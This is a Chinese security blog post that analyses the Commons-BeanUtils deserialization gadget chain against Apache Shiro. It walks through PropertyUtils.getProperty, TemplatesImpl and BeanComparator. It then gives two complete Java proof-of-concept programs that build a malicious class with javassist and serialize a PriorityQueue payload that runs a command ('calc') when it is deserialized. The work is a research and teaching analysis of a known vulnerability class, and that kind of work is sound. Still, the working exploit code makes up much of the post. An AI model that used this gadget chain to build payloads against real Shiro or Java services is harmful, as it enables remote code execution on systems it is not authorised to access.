Shiro中的CB链分析

2024-10-12 38 0

一、 简介

commons-beanutils 是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。

而在Shiro的环境中 CB是自带的依赖,所以比较常见。

操作bean对象举例:

Shiro中的CB链分析插图

二 、分析

1. PropertyUtils.getProperty()

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter和setter方法。

Shiro中的CB链分析插图1

Shiro中的CB链分析插图2

可以看到这里获取到getName并且invoke调用

Shiro中的CB链分析插图3

2.TemplatesImpl

而在CC2的分析中,自己的分析文章: CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户,我们可以了解到存在一条TemplatesImpl的链条,下面是这条链的POC:

链:

TemplatesImpl#getProperty()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()

通过TemplatesImpl的getOutputProperties的方法,可以实例化我们通过javassist构造的恶意类,执行其中静态代码块中的恶意方法,现在通过getProperty()调用getProperty()看一下

POC:

public class test {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, CannotCompileException, NotFoundException, IOException, InstantiationException, NoSuchFieldException {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][] {classBytes});

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Test");

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates, "outputProperties");

    }

}

Shiro中的CB链分析插图4

可以看到也是可以正常弹出计算器的,我们需要继续寻找一个类调用了getProperty方法,并且和我们的反序列化相关

3.BeanComparator

在BeanComparator#Compare中可以发现调用了getProperty方法

Shiro中的CB链分析插图5

而这里的property是构造函数进行的赋值,可控

Shiro中的CB链分析插图6

所以现在继续找哪里调用了这个compare,现在就可以自然想到,在CC2中中的PriorityQueue#readObject,中调用到最后就是去执行compare方法,具体的不再分析,可以查看我的这个文章:CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户

Shiro中的CB链分析插图7

所以现在整体的链就清晰了

4.整体调用链

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

完整POC

public class test {

    public static void main(String[] args) throws Exception {
        //javassist 设置恶意类
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("test");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] classBytes = testCtClass.toBytecode();    // 获取字节数据

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][] {classBytes});

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Test");

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        //设置BeanComparator对象
        BeanComparator comparator = new BeanComparator();
        setFieldValue(comparator,"property","outputProperties");



        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        setFieldValue(priorityQueue, "size", 2);


        Object[] objects = {templates, 2};
        setFieldValue(priorityQueue, "queue", objects);


        //序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
        inputStream.readObject();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

}

Shiro中的CB链分析插图8


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论